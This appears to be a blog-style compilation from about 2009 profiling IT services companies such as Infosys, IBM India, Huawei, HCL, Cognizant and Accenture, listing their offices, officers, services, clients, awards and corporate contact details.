Locations	Corporate headquarters: Bangalore US headquarters: Fremont, CA Worldwide offices :Amsterdam,Atlanta, Bangalore, Beijing, Bellevue, Berkeley Heights, Bhubaneswar, Brussels, Charlotte, Chennai, Detroit, Frankfurt, Fremont, Hong Kong, Hyderabad, Lake Forest, Lisle, London, Mangalore, Mauritius, Melbourne, Milano, Mohali, Mumbai, Mysore, New Delhi,Oslo, Paris, Phoenix, Plano, Pune, Quincy, Reston, Shanghai, Sharjah, Stockholm, Stuttgart, Sydney, Thiruvananthapuram, Tokyo, Toronto, Utrecht, Zurich.
Main officers	Chairman of the Board and Chief Mentor: N R Narayana Murthy Co.Chairman of the Board of Directors Nandan M Nilekani CEO &Managing Director : S.Gopalakrishnan
No. of employees	80,501
Key milestones	Year of Incorporation: 1981 Became a public limited company in India : 1992 ISO 9001/TickIT Certification: 1993 Listed on NASDAQ: 1999 Attained SEI-CMM Level 5:1999 Crossed $ billion in revenues: 2004
Stock exchange listings:	USA :NASDAQ (INFY) India : National Stock Exchange (INFY.NS), Mumbai Stock Exchange (INFY.BO) & Bangalore Stock Exchange
Financial Performance Indicators (ending 31st March 2007)	US GAAP Revenues: $ 3,090 million Net Income after taxes : $850 million Earnings per ADS : $1.53(basic) Total assets : $ 3073 million Indian GAAP Total Income :Rs.13,893 crore Net profit after taxes: Rs. 3,856 crore Earning per share (Rs. 5): Rs. 69.11 (basic) Total assets: Rs. 11,259 crore
Services	Outsourced Application and Infrastructure Services Custom Application Development, Application Maintenance, Application Re-engineering, Infrastructure Management, Independent Testing and Validation Enterprise Services Packaged Applications, Supply Chain Management (SCM), Customer Relationship Management (CRM), Enterprise Application Integration (EAI), Enterprise Resource Planning (ERP), Business Intelligence and Data Warehousing. Systems Integration, Strategic Technology and Architecture, Consulting Enterprise, Content Management, Identity Management Migration and Re-hosting, Enterprise Information Portal Enterprise Mobility, Business continuity and Platform Services. Product R & D Services Product Design and Development, Product Sustenance, Testing and Automation, Offshore Product Development Center , Additional Product Services, Product Consulting & Professional Services Consulting Services Corporate Performance Management, Balance Scorecard
Products	Finacle, the universal modular banking solution empowers banks to transform their businesses leveraging agile new generation technologies.
Industries	Aerospace and Defense, Automotive, Banking and Capital Markets, Communication Services, Discrete Manufacturing, Energy, Healthcare, High Technology, Insurance, Life Sciences, Media and Entertainment, Retail & Consumer Packaged Goods, Transportation Services & Utilities.
Major clients	Cisco systems, Lucent Technologies, Nortel Networks, Airbus, Boeing, Schlumberger
BPO	Progeon offers solutions to global clients by leveraging process,domain and people management expertise. Risk for clients is managed through a scalable, cost-effective and predictable delivery platform.
Careers	Looks out for highly motivated, enthusiastic, talented, learnable self-driven individuals who are ambitious, love challenges and have a passion to excel. Infosys participates in campus selection programs and also conducts a number of off-campus initiatives throughout the year at various locations. Infosys also hires experienced professionals from the industry to various mid-level and senior positions Challenging and exciting client engagements and an organizational culture that emphasizes learning drives every Infoscion to excel in their individual capacities and as a team player.
Organizational culture	The spirit of innovation, continuous personal and professional development and excellence is most evident in how the company builds and manages physical, technology, or people infrastructure or in financial, marketing, and quality practices. Initiatives such as the Infosys Leadership Institute are meant for ongoing management development and personal improvement. A host of technology advancement and other ongoing training programs meet the different learning needs of employees in specific areas of technology, management, leadership, cultural and communication skills, and other soft skills.
Life at Infosys	Employees can pursue their interests in areas as varied as arts, culture, or sports. Apart from, "Art Gallery " dedicated to displaying the works of Infoscions; there are daily quiz competitions and regular music meetings that keep the place abuzz with creativity. Inculcom hosts cultural programs for Infoscions. Inculcom has sub groups like the IQ Circle (Quizzes), Shruthi (the classical music club), Dramatix (the drama club), and Vakchaturya (forum for self development). InSync , an internal communication program focusses on keeping the Infoscion abreast of latest corporate and business developments. Toastmasters Club provides a mutually supportive and positive learning environment to develop communication and leadership skills.
Awards	Infosys won Silver in the 2006 Vision Awards Annual Report competition of the League of American Communications Professionals LLC (LACP). The 2006 Vision Awards received more than 2,500 entries from 21 countries, representing a broad range of industries and organization sizes. Etihad Airways receives industry honors for web strategy implemented by Infosys Infosys Technologies Named "Best Outsourcing Partner" in Waters Readers' Survey Forrester names Infosys a Leader in Global IT Infrastructure Outsourcing Infosys Named Royal Bank of Scotland Group's 2007 "Best Technology Supplier" Infosys Technologies Receives Two "Partner in Progress" Awards from Sears Holdings Corporation Infosys Awarded DaimlerChrysler's "IPS Supplier of the Year 2006" Infosys Named Sainsbury's 2006 IT Supplier of the Year Business 2.0, the leading business trends and technologies magazine, has ranked Infosys at No. 8 on its prestigious B2 100 list of the world’s fastest growing technology companies Wired Magazine has ranked Infosys Technologies at No. 9 on its ‘Wired 40’ list for 2005. Infosys has won “India ’s Best Managed Company Award” based on a study conducted by Business Today and A.T. Kearney. Infosys was placed ahead of 13 finalists.
Other information	The Global Delivery Model, pioneered by Infosys refers to the philosophy of breaking pieces of work into logical components, and distributing these components geo-locationally for the best global talent to utilize them for maximum value and innovation. Infosys Foundation, the philanthropic arm of Infosys Technologies Ltd was formed in 1996 with the objective of fulfilling the social responsibility of the company by supporting the underprivileged. The Infrastructure Management Services (IMS) practice works with an objective to manage and deliver IT services to mission critical IT infrastructure of Fortune 500 companies. The Independent Validation solutions (IVS) practice aims at providing Software Validation Services to clients to deliver reliable, high performance & user friendly applications to their customers on time and in a cost effective manner. Catalytic IT is the Infosys approach to create a flexible IT environment that acts as a catalyst to make clients’ business competitive. This is an evolutionary and self-funding IT transformation journey. It brings together Infosys’ IP assets, solutions and service offerings enabling you to unlock the business value of your technology investments
Contact address	HRD – Recruitment Infosys Technologies No. 44, Electronics City Bangalore - 560 100 Fax: +91 80 2852 0851
Website	www.infosys.com
Email	careersquery@infosys.com

IBS SOFTWARE SERVICES

2009-06-30T09:28:00.000-07:00

IBS Software Services is a provider of software services and products to the Travel, Transportation and Logistics domain worldwide with special focus on the air transportation industry. A SEI CMM Level-5 assessed and ISO certified company, IBS operates across Asia Pacific, Europe , the Middle East and USA with sales offices located in Atlanta , Dubai , London , Singapore and Zurich . The company’s global development center is located at Technopark in Trivandrum , Kerala , India . IBS is a leading exporter of software from the region and has won the software exporter award during the last year.

IBS specializes in the development of large and complex applications using the latest platforms and technologies including Java Technologies, Web Technologies, Distributed Computing, GroupWare, Data Warehousing and E-Services.

Corporate slogan/Punch line	Inventing Future
Locations	Australia , Dubai , Singapore , Switzerland , UK , USA
Main officers	Managing Director: V. K. Mathews
No. of employees	1800
Key milestones	1997- started as a joint venture between the International Business Services Group and Atraxis AG, the IT arm of the erstwhile Swiss Air Group
Services	flight operations flight scheduling passenger reservations departure control airport resource management airport ground handling air cargo terminal handling ULD management airline revenue accounting mail tracking port management voyage management helicopter scheduling personnel tracking
Applications/Products	Smart cargo- The efficient cargo management solution GLMS- The global logistics management solutions RSMS– Road safety management systems IRES- Multi hosting passenger reservation system IPORT- Web enabled integrated port management solution TOPAIR- Integrated flight management solution CTS – Crew tracking system IDAHO- Airport flight operations systems
Clients	BAA (London's Heathrow & Gatwick Airports) Iberia Airlines Emirates Cathay Pacific Cunard Qatar Airways Vail Resorts Inc. Air New Zealand South African Airways Celebrity Cruises/Azamara Cruises Orbitz LLC Star Cruises Hotel Booking Solutions Incorporated LeisureLink e-bookers
Careers	One can get an ideal development environment with exposure to frontier technologies and an attractive compensation package, as well as ample opportunities for career development. It is no wonder that the attrition rate of IBS is well below the national average.
Organizational culture	Courtesy, Dignity, Honesty and integrity are personality traits, which form the organizational psyche. Employees are ruled by the spirit of solidarity and teamwork and take pride in ownership of work leading to high employee morale.
Other information	IBS Software Services (IBS) recently announced its plans to commence operations of its second development center at Infopark, Kochi . This is keeping in line with IBS’s plans to further strengthen its position as a leading global IT company in the TTL (Travel, Transportation and Logistics) industry. Apart from the development center in Trivandrum , IBS group companies operate out of Atlanta , London , Zurich , Dubai and Sydney Extended Software Development Facility (ESDF) is a unique outsourcing proposition, designed by IBS to provide flexibility, control and continuity similar to that of an in-house operation.
Contact address	521-524, NILA, Technopark Campus, Trivandrum 695 531, India Phone: ++91-471-2700080 Fax: ++91-471-2700078
Website	www.ibsplc.com

IBM INDIA

2009-06-30T09:27:00.000-07:00

IBM (International Business Machines) is the only company in the world that offers end-to-end solutions to the customers from hardware to software, services and consulting.IBM has the e-business capabilities, products, services and partner network to help large and small enterprises plan, build and implement the e-business infrastructure. Linux support has further enhanced IBM's e-business infrastructure enabler capability. The company also offers finance and leasing facilities to customers.

IBM has been present in India since 1992. Since inception, IBM in India has expanded its operations considerably with regional headquarters in Bangalore and offices in 14 cities including regional offices in New Delhi , Mumbai, Kolkata and Chennai.Today, the company has established itself as one of the leaders in the Indian IT industry.

Vision	IBM’s mission has always been to help customers make the most of opportunities for growth through technology. IBM’s business goals ensure that they are focused on the needs of the customer. They deliver growth and wealth to the global corporation, work together in teams, both locally and globally, to deliver faster and better solutions than their competitors. IBM’s priority is supporting the community. Education, youth schemes, job training, the arts, conserving the environment, and projects to empower people with disabilities through the use of technology are all beneficiaries of IBM's community and sponsorship programs.
Values	*The marketplace* is the driving force behind everything we do. *At our core, we are a technology company with an overriding commitment to quality. Our primary* measures of success are customer satisfaction and shareholder value. *We operate* as an entrepreneurial organization with minimum bureaucracy and a never-ending focus on productivity. *We never* lose sight of our strategic vision. *We think* and act with a sense of urgency. *Outstanding* , dedicated people make it all happen, particularly when they work together as a team. *We are sensitive* to the needs of all employees and the communities in which we operate.
Locations	IBM has offices in 211 nations across 6 continents offering a range of products and services. IBM India has its regional headquarters in Bangalore and offices in 14 cities including regional offices in New Delhi , Mumbai, Kolkata and Chennai.
Main officers	Managing director : Shanker Annaswamy
No. of employees	319,273worldwide (52000 in India)
Key milestones	1992:-IBM enters Indian market through a joint venture with the Tata Group. The JV company is christened Tata Information Systems Limited (TISL). 1995:- Accredited ISO 9001 (re certified to ISO9001:2000 in 2001). 1997:- TISL Becomes Tata IBM Ltd,IBM Global Services launched - offering a range of IT services from IBM including networking services, outsourcing, education, system integration, consulting, software development and hardware design. Solution Partnership Center is set up in Bangalore to help Indian ISVs port application onto proven IBM hardware platforms. 1998 : - IBM School of Enterprise Wide Computing launched at Indian Institute of Information Technology (IIIT), to offer short-term courses to the public and credit courses on enterprise-wide computing to graduate and undergraduate students. :- IBM India Research Laboratory established in Indian Institute of Technology (IIT) Delhi . 1999 : - IBM India Limited formally launched - after governmentapproves Tata's divestment plan. :- IBM India launches PC manufacturing in Pondicherry IBM Global Services India achieves CMM Level 5 rating 2000 : - Global e-business software center set up in Gurgaon. :-IBM Global Financing launched in India . 2001:- India Software Development Labs established in Pune and Bangalore . The state-of-the-art facility is playing an important role in IBM’s Linux Strategy, working closely with the worldwide Linux Technology Centre. :- IGSI Exports Services has been successfully assessed at People Capability Maturity Level 5 (version 2.0) by SEI. 2003 : - IBM India Research Labs launches a "Technology Center" to showcase business applicability of cutting edge technologies to organizations in India and ASEAN. :- IBM Corporation announced the establishment of a new center in Bangalore, India to provide technology design services for advanced chips, cards and systems to companies in India and across Asia. :-IBM India launches 'India Smart Centre', a virtual toll-free service centre providing cutting edge services and support to the small and medium businesses in metros and small towns.
Financial Summary (For 2004)	Revenues - $96.5 billion Net Income: $8.4 billion
Services	Business and IT services Business consulting servicesInfrastructure servicesOn demand servicesFinancingTraining
Products	IBM, today, has a comprehensive array of over 40,000 products that meet just about any computing requirement Personal Computing Desktops Notebooks Workstations Monitors Software Visual Age Web Sphere DB2 Warranty & maintenance Servers Intel processor-based Unix servers Enterprise Servers Storage Products
Careers	IBM is always on the lookout for new outstanding members to join the team. The website provides you with information on what it is like to work for IBM, as well as what positions are currently to be filled. Mentoring is seen as a very important part of supporting new employees' integration into the business. Every new employee is allocated a "buddy mentor" in the first month to help him settle in. IBM will encourage your personal development, assist you to become more effective in your job and to increase your potential for development in IBM. To this end IBM offers a range of assistance to employees wishing to undertake further education or study. This assistance can include financial assistance and time off for study and examinations. IBM offers a range of opportunities for managers or those aspiring to leadership positions. IBM has an Executive Development Centre. They have a number of programs available including, Basic Blue for the newly appointed manager and Managing@IBM for experienced managers. IBM encourages you to be proactive in managing your career. Here you work with your manager to develop an Individual Development Plan (IDP) designed to help you realize your career goals. The first part of this plan is where you will assess your current skills against the businesses critical skills. Your manager will then work with you to identify where there are opportunities to further develop your skills. To assist you in the management of your career, IBM has developed a number of career plans, for guidance on recommended skills development or road maps associated with specific professions.
Life at IBM	There's lots of talk about how critical it is to strike a balance but no one tells you how it's done. When you're not working, ask yourself, where would you like to be? It's important to figure these things out because when you walk through the door at IBM you are going to be presented with educational reimbursement plans, flexible work schedules, global opportunities, activities, clubs, child care options and more - to help you learn, play and work the way you want. IBM underpins its Work/Life balance vision by providing principles, policies and programs to support employees. Everybody has commitments in their lives, and being able to balance these commitments to fit in with your working life can sometimes be difficult. IBM offers many policies to help you overcome these challenges. IBM offers flexible work arrangements where possible depending on the needs of the business and the nature of your role. Please note that flexible leave options and flexible work arrangements are subject to management approval and business need.
Awards	2002 June:- IGSI recognized as the "Top MNC Software Services Exporter" and "Top Foreign Equity Company" in Karnataka for Year 2001-02 by Software Technology Parks of India (STPI), Bangalore Chapter. July:- IGSI has also been also recognized as ‘Distinguished IT Exporter' for 2001-02 by MAIT Dataquest, rates IGSI as the Top MNC Software Services Exporter for Year 2001-2002.
Other information	ON DEMAND BUSINESS You just need the right partner. On Demand Business is a journey, not a product. And the journey is different every time. But it always begins with four easily identifiable milestones that let you know you're moving forward. Here's how we can help you transform your business: Find order in complexity. Your processes are broken down into their component parts, patterns and dependencies that don't show up on org charts. Looking at these small pictures, a more informative bigger picture is developed. Zero in on the best place to start. Your company's area of advantage is discovered. With your understanding of your business and IBM’s experience in your industry, your greatest strengths are matched with the best financial opportunities Turn theory into practice. It's not just about knowledge. It's about experience. Solutions are created that truly simplify your business. They've seen what works and what doesn't. And they know how to get results. Move one step at a time. There is no need to take wild leaps. Your business transformation is handled in manageable steps. This is not because it's less disruptive, but because improvements in one area have ripple effects across an entire organization
Contact address	IBM Global Services India Pvt Ltd. Corporate Communications III Floor, Subramanya Arcade No 12, Bannerghatta Main Road Bangalore - 560 029, India
Website	www.ibm.com/in
Email	direct@in.ibm.com

Huawei Technologies

2009-06-30T09:26:00.000-07:00

Established in 1988, Huawei Technologies is a private high-tech enterprise which specializes in research and development, production, marketing of communications equipment and providing customized network solutions for telecom carriers in different areas. Huawei's contracted sales in 2004 reached 5.58 billion USD,an increase of 45% year on year, among which 2.28 billion USD came from international sales. Currently Huawei provides telecom products and solutions for over 270 operators worldwide and 22 of the world's top 50 operators use Huawei's products and solutions.

Huawei products are based on its independently designed ASIC chips. Its ASIC designing capability is among the most advanced in this field worldwide. This allows Huawei to consider the needs of its customers from start to finish, from the chip to the network.

Huawei has now become a leading vendor in the industry. Huawei is currently No.1 in digital switches and next generation network (Dittberner), No. 2 in ADSL broadband and No.3 in optical network (RHK). Huawei is one of the few vendors in the world to provide end-to-end 3G solutions..

In order to support its global operations Huawei has set up 55 branch offices worldwide. Eight regional headquarters and a host of customer support and training centres have been established. Several research institutes including Dallas (USA), Silicon Valley (USA), Bangalore (India ), Stockholm (Sweden ), Moscow (Russia ), Beijing and Shanghai have been set up. Huawei's products are deployed in over 90 countries.

Among Huawei's 24,000 employees (around 3,400 foreign staff), 48% are engaged in R&D. To ensure a steady and sustainable growth and to sharpen the core competitive edge, Huawei emphasizes the importance to partner with leading global players in the industry on both product development and marketing.

Since 1997, IBM, the Hay Group, Towers Perrin, PwC, and FhG have been serving as Huawei's consultants on corporate management, human resources management, employee stock option plan, financial management, and quality control. Huawei's financial report is audited by KPMG.

vision	To enrich life through communication.
Locations	China , India , Russia , Sweden USA
No. of employees	62,000
Products	fixed network, mobile network, data communications, optical network, software & services and terminals
Services	Global Service Consulting Training Engineering Service Customer Support Operation & Integration
Financial Peformance	Revenue $8,504 million Net Income $512 million
Major clients	China Telecom, China Mobile, China Netcom, China Unicom as well as BT, NEUF, AIS, Telefonica, Telfort, SingTel, Hutchison Global Crossing, PCCW HKT, SUNDAY, Etisalat (UAE), Telemar (Brazil), Rostelecom (Russia), etc
Other information	Achieved CMM Level 5 Member of 60 international standardization organizations.
Contact address	HUAWEI TECHNOLOGIES CO.LTD. BANXUEGANG INDUSTRIAL PARK , BUJI LONGGANG, SHENZHEN 518129, P.R.C Tel:+86-755-28780808 Fax: +86-755-28780808 Zip code: 518129
Website	www.huawei.com
Email	hpeng@huawei.com

HCL TECHNOLOGIES LTD

2009-06-30T09:25:00.000-07:00

HCL Technologies is the global services arm of US $ 2.7 billion HCL Enterprise. It has integrated offerings across software- led IT solutions, BPO, R&D outsourcing and Remote Infrastructure Management services. The company leverages an extensive offshore infrastructure and its global network of 26 offices in 18 countries to deliver solutions across select verticals including Banking, Insurance, Retail & Consumer, Aerospace, Automotive, Semiconductors Telecom and Life Sciences.

HCL Enterprise is a leading Global Technology and IT enterprise with annual revenues of US $2.7 billion (Rs.12, 000 cr). The HCL Enterprise comprises two companies listed in India - HCL Technologies & HCL Infosystems. The 3-decade-old enterprise, founded in 1976, is one of India 's original IT garage start-ups.

Vision	To be the most preferred and significant software and engineering led global IT services provider in chosen markets.
Mission	To establish technology partnerships with end users and OEM organizations on a global basis to deliver the highest quality and most cost effective software engineering solutions for the emerging network-centric world.
Values	To uphold the dignity of the individual To honour all commitments Commitment to quality, innovation and growth in every endeavour To be a responsible corporate citizen.
Locations	Headquartered at Noida, UP,26 offices in 18 countries ,360 offices in India.
Main officers	Chairman & CEO: Shiv Nadar President : Vineet Nayar
No. of employees	51,000
Key milestones	1976 Year of Establishment
Stock Exchange listings	NSE( HCLTECH)
Financial performance indicators(For the quarter ended 30th September 2007)	$1.5 billion(Rs.6363 crores)
Services	The company's principal services include Technology Development Services, which include the development, redevelopment and maintenance of software that is either embedded into or is integral to the functioning of hardware products. It also includes development work on emerging technologies. Application Services, which include development and reengineering of application software. Designing Technology solutions and services that are closely aligned with the needs of the industry. This is possible because of the in-depth domain knowledge that the company has acquired in various industry segments over the years. Business Process Outsourcing, popularly referred to as BPO++, which includes a gamut of comprehensive and customized services such as Process Support Services (P.S.S.), Contact Centre Services (C.C.S.) and Sales & Marketing Support Services (S.M.S.S.).
Industries	Automotive, Aerospace, Banking and other Financial Services, Insurance, Petroleum, Pharmaceuticals, Retail and Semiconductor Manufacturing
Major clients	Over 490 blue chip global clientele
Careers	HCL recognizes human resources as the backbone of its long-term success and has consciously focused on increasing the value-add per employee Some of the key reasons why HCLT is the preferred choice for people are • Open environment • Concern for the individual • Community feeling – culture of caring and sharing • Broad band of technology areas – a software engineer’s dream set • Culture of rewarding demonstrated performance – fostering achievement • Constant learning and personal enrichment – culture of growth • Fosters the spirit of entrepreneurship and intrapreneurship • High sense of responsibility and project ownership • Ability to express oneself in a culture of freedom • Opportunity towork in challenging assignments
Corporate Social Responsibility Initiatives	SSN Institutions Founded in 1996 by Shiv Nadar, SSN Institutions provide world class research oriented quality education at affordable price in India. • Indian School of Business ISB symbolizes the vision of establishing a world class business school in India offering to large number of bright students in the region. • Public Health Foundation of India (PHFI) To act as a think tank on policy issues related to health system and establish standards in public health education and to create an India-relevant institutes of public health. • Community Support Programs Works with NGO’s Udayan, Cry for social up-liftment of underprivileged children • Concert Series Started in 1998 it provides a platform to upcoming young Indian classical artists to express their talent
Awards	HCL among the Top 5 Indian IT Players in a short span of 7 years •Selected in the “Top Offshore Service Providers Category" in the Global Outsourcing 100 by IAOP •HCL - #1 position in the top category “Top 10 Best Performing IT Services Firms” – by neoIT & Global Services •HCL BPO ranked #4 among ITES companies in India by NASSCOM • IDC rates HCL as “Leaders” in Remote Infrastructure Management; Forrester Rates as “Strong Performer” ‘The Most Responsive Company 2005’ – IT Hardware Category by The Economic Times – Avaya GlobalConnect Top 50 Fastest Growing Technology Companies in India & ‘Top 500 Fastest Growing Technology Companies in Asia Pacific by ‘Deloitte & Touche’ ‘7th IETE – Corporate Award 2005’ for performance excellence in the field of Computer & Telecommunications Systems HCL Technologies is ranked as Strong Positive on Technology, R&D and Product Engineering Services. HCL positioned as "LEADERS" in Offshore Outsourcing by METAspectrum – 2004 Ratings
Contact address	HCL Technologies Ltd. A-10/11, Sector 3 Noida - 201 301, UP, India Phone:919811546200
Website	www.hcltech.com
Email	careers@hcltech.com

FutureSoft

2009-06-30T09:24:00.000-07:00

Founded in 1982,FutureSoft is an international software company focused on the development of Enterprise Content Security solutions. The DynaComm i:series product suite allows organizations to filter and monitor Internet and e-mail access and also to track and categorize individual files stored within their network. Headquartered in Houston, TX with a field office in the United Kingdom , the company's customers span the globe and include corporations of all sizes, government organizations, educational institutions and individuals seeking high-performance solutions.

Main officers	Tim Farrell - CEO & Co-Chairman Guy Rumple - Vice President of Development Linda Wise - Director of Sales and Marketing
Services	Educational services Consulting Services
Products	The Dyna Comm i: series :- This line of Enterprise Content Security products help organizations increase productivity, decrease legal liabilities and maximize network bandwidth. It consists of three independent but complimentary products, Dyna Comm i:filter, which is an Internet filtering solution, Dyna Comm i:mail for e-mail and spam filtering, and Dyna Comm i:scan for electronic file surveillance Dyna Comm connectivity series : support for Digital,IBM,Hp,Unisys The Multi View Software Family provides Internet productivity and management solutions by exploiting the power and portability of UNIX and Linux while providing accessibility via the Web, PCs, thin clients and UNIX workstations.
Careers	Future Soft believes that excellent products are created, sold and supported by exceptional employees. Future Soft recruits and retains the most talented professionals in an environment in which they can thrive. Future Soft constantly seeks self-motivated, energetic and talented individuals who are looking for a challenging work environment, competitive salary and a great benefits package. Future Soft can accommodate all of your training needs with their flexible education program. Their experienced professionals will develop a comprehensive education program to meet your particular requirements.
Contact address	FutureSoft, Inc. 12012 Wickchester Lane Suite 600 Houston , Texas 77079 USA Tel: (281) 496-9400 Fax: (281) 496-1090 Corporate Headquarters 12012 Wickchester Lane Suite 600 Houston, TX, 77079 USA Tel: (281) 496-9400 Sales: (800) 989-8908 Fax: (281) 496-1090 FutureSoft UK, Ltd. Shepherds Mill Worrall Street Congleton CheshireCW12 1DT United Kingdom Tel: +44 (0) 1260 292222 Fax: +44 (0) 1260 292224 Contact FutureSoft UK
Website	www.futuresoft.com
Email	info@futuresoft.com

Cognizant Technology Solutions

2009-06-30T09:23:00.000-07:00

Cognizant, a leading offshore outsourcing U.S based company provides application management, development, integration & re-engineering, infrastructure management, business process outsourcing and a number of related services such as enterprise consulting, technology architecture, program management and change management through its onsite/offshore outsourcing model and are experts in managing highly complex and long term projects.

Cognizant brings the best of both worlds: the savings and superior quality of offshore development and the immediacy and trust of a local company

Values	The men and women as a team are united through shared values relating to our ethics, customers, shareholders & partners.
Locations	Headquarters: New Jersey; USA. Sales offices: Atlanta, Chicago, Dallas, Minneapolis, Los Angeles, San Francisco, Toronto, London and Frankfurt Software development centers in India : Chennai, Kolkata, Pune, Bangalore, Hyderabad. Offices also at Amsterdam, Ireland, Limerick, Phoenix, San Ramon, Singapore,Zurich
Main officers	President and CEO: Lakshmi Narayanan Chief Operating Officer : Francisco D’Souza
No. of employees	38,853+
Exchange listings:	Nasdaq : CTSH
Key milestones	Year of inception: 1994 Gone public in 1998
Financial highlights (Full year 2004)	Financial highlights (Full year 2006) Total revenue $1.424 billion
Services	e-business & Enterprise Portals, Data Warehousing, CRM, ERP, EAI, Wireless, e-learning. Architecture and Strategy, Program Management & User Centered Design
Products/solutions	Application Management & Development, Outsourced Testing Services, Architecture & Strategy, Program Management, e-Business, Data warehousing, CRM, ERP, Digital Security, Performance Rescue, Usability, Wireless, e-Learning.
Industry practices	Vertical industry practices include: Healthcare, Life Sciences, Financial Services, IT infrastructure services, Insurance, Retail, Manufacturing & Logistics, Media & Information-defined services, Telecom and Banking
Careers	Cognizant offers a variety of positions in India as well as at customer locations in the U.S. and Europe. A flat non hierarchial structure and aspiration oriented career patching enables employees to grow as much as they want to. A fair and transparent culture ensures that there is little reason to peeve about. Invests heavily in recruiting key executives, project heads and practice leaders. Consistently ranked as the top business school recruiter. Conducts learning programs through in-house learning center’Cognizant Academy’. Through this dedicated center many conventional and leading-edge learning programs foremployees—both for new employees and lateral entrants (mid-career level professionals)are offered.
Organizational culture	Believes that company’s strength lies in people and considers them as assets who will ensure success. It aims to provide an enabling and positive environment that will motivate associates and facilitate achievement and maintenance of superior levels of performance. CTS believes in continuous education of associates and strive to provide the best training facilities that will keep them on a par with the best professionals in field. CTS claim’s that ”We strive to provide a climate that nurtures the holistic development of our associates”. The company offers healthcare benefits, education benefits, ESOP, Employee referral scheme etc. Cognizant Community is an exclusive program sponsored by Cognizant Technology Solutions to bring together professionals (customers, partners, analysts and associates) in order to provide a forum for sharing knowledge, exploring new technologies, expanding business opportunities and opening social avenues for the mutual benefit of all community members
Quality certifications	ISO 9001 and SEI CMM Level 5 certifications.
Awards	The wallstreet Journal named Cognizant as one of the best 5-year stock performers in it's "Shareholder Scorecard". BussinessWeek named Cognizant #16 among its annual list of 100 Hot Growth Companies, the fifth year that Cognizant has been included. Adjudjed as the Top IT services Company in the Forbes 200 Best Small Companies List Named Forbes' Best Small Companyh in America for the second consecutive year. Ranked as the top information technology company in "Business Week" Hot Growth Companies.
Other information	Cognizant is pioneering 4th Generation Offshore Outsourcing services that combine the best of both worlds advantages of offshore development with industry experience, advanced technology knowledge, cultural compatibility and local consulting presence that integrates business strategy with execution. 4th Generation Offshore Outsourcing provides seamless integration between the customer and Cognizant.
Contact	World Headquarters and Eastern Regional Sales Office Cognizant Technology Solutions 500 Glenpointe Centre West Teaneck, NJ 07666 Ph: 201-801-0233 Fax: 201-801-0243
Website	www.congnizant.com

BIRLASOFT

2009-06-30T09:22:00.000-07:00

Birlasoft is the global technology services division of the CK Birla Group, one of India 's premier commercial and industrial houses, with Strategic Equity participation by GE Capital. Birlasoft offers IT services worldwide from development centers in the US, India, and Australia.

Birlasoft has 4,600 professionals and a large number of clients among Fortune 1000 companies. The company provides applications development and support services in eCommerce, Data Warehousing, Legacy Systems, QA, CRM, RIMS (Remote Infrastructure Management Service) and ERP .

Logo	Integrity.Commitment.Excellence
Vision	Vision Statements To evolve into a global IT Services company with focus in our chosen areas of technology with best practices to maximize Shareholder, Customer and Employee Value, in an environment fostering respect, learning and ownership
Values	Core Values “We are committed to, and cherish honesty, integrity and transparency. We will nurture, excite and challenge individual ideas while preserving self respect & dignity.”
Locations	Australia , India, Singapore, UK, USA
Main officers	Chief Executive Officer:-Kamal Mansharamani Chief Operating Officer:- Avinash Singh Chief Financial Officer:- K.S. Ananthanarayanan
No: of employees	4600+ professsionals
Services	Birlasoft has identified the following three vertical domains as focus areas: • FSG (Financial Services Group) • Manufacturing • Software Product Companies (High Tech) Birlasoft has identified the following three technology horizontals for specialization and development of Centers of Excellence: • PeopleSoft Services • Web Services (.Net, J2EE, Portals, EAI etc.) • Quality Assurance and IT Governance Services Others :IT operations and management Help desk support Accounting and finance Application Management Human Resources functions such as payroll and HR Logistics and supply chain management
Industry Targeted	Retail Manufacturing Banking and Finance Insurance Mortgage Independent Software Vendors HealthCare
Careers	Working at Birlasoft means setting high standards of workmanship, developing your capabilities in tune with service standards that have helped them become a global player in the IT Services sphere Birlasoft places high premium on their employees' education and experience. The diversity brought together by their various global teams adds to the overall growth of the company's intellectual capital. They promote an ongoing development model within their teams while respecting individuals' expectations from their Employer. The aim at Birlasoft is not only getting the job done, but ensuring that the teams evolve into a smarter knowledge pool. They believe in stimulating intelligence that is built around creative thinking. Consistent training on latest technologies and industries is an integral part of working @ Birlasoft.
Life at Birlasoft	Inside the office, a collaborative, people-focused culture encourages mutual respect, open communications and ongoing learning. Broaden your career path and your mind through a globally based education initiative programs, performance management programs, mentoring programs and regular performance feedback. Outside the office, you have time for the people you care about most. In many locations, a flexible work schedule and other work/life harmony programs have been arranged.
Awards	Selected as the 7 th most preferred employer by Dataquest. Birlasoft becomes the first Indian IT services company to be appraised at SEI CMMI Level 5 on Continuous Representation.
Other Information	Birlasoft has been ranked 14^th in the Nasscom top IT software and services exporters from India.
Contact Address	(Corporate Office) H– 9, Sector 63, NOIDA 201306. Tel: +91-120-6629000. Fax: + 91-120-6629494,+91-120-4079494 D-13, Sector - 59, Noida– 201301 phones +91-120-02472000 / 2586115 +91-120-2586121 36, Vijayaraghava Road, T. Nagar, Chennai 600017 Phones: +9144 52003000 +9144 52024968
Website	www.birlasoft.com
Email	resume@birlasoft.com

ACCENTURE

2009-06-30T09:17:00.000-07:00

Accenture is a global management consulting, technology services and outsourcing company having more than 110 offices in 48 countries. Committed to delivering innovation, Accenture collaborates with its clients to help them become high-performance business entities. With deep industry, business process and service offering expertise, broad global resources and a proven track record, Accenture can mobilize the right people, skill and technologies to help clients improve their performance.

Among the many strengths that distinguish Accenture in the marketplace are extensive industry expertise, broad and evolving service offerings, expertise in business transformation outsourcing,history of technology innovation and implementation includingresearch and development capabilities, commitment to the long-term development ofemployees and above all proven and experienced management team.

Corporate slogan/Punchline	High performance delivered
Values	Accenture is committed to the principles of good corporate citizenship. Recognizes that good business management means forming positive relationships with clients, employees, alumni, shareholders, alliance partners and the broader community. Maintains high ethical standards in dealings with clients and business partners, and make decisions that factor in principles first and foremost.
Locations	Americas Asia Pacific Europe Middle East
Main officers	William DGreen Chairman & Chief Executive Officer Stephen J.Rohleder Chief Operating Officer Pamela J.Craig Cheif Financial Officer
No. of employees	Appoximately 170,000(including more than 4,400 senior executives)
Stock exchange listings:	NYSE/ACN
Financial Performance Indicators	US$19.70 billion for fiscal 2007 (12 mos. ended Aug. 31, 2007)
Services	Five operating groups—Communications & High Tech, Financial Services, Government, Products and Resources—together comprising 18 industry groups. Five consulting service lines—Customer Relationship Management, Human Performance, Finance & Performance Management, Strategy and Supply Chain Management.
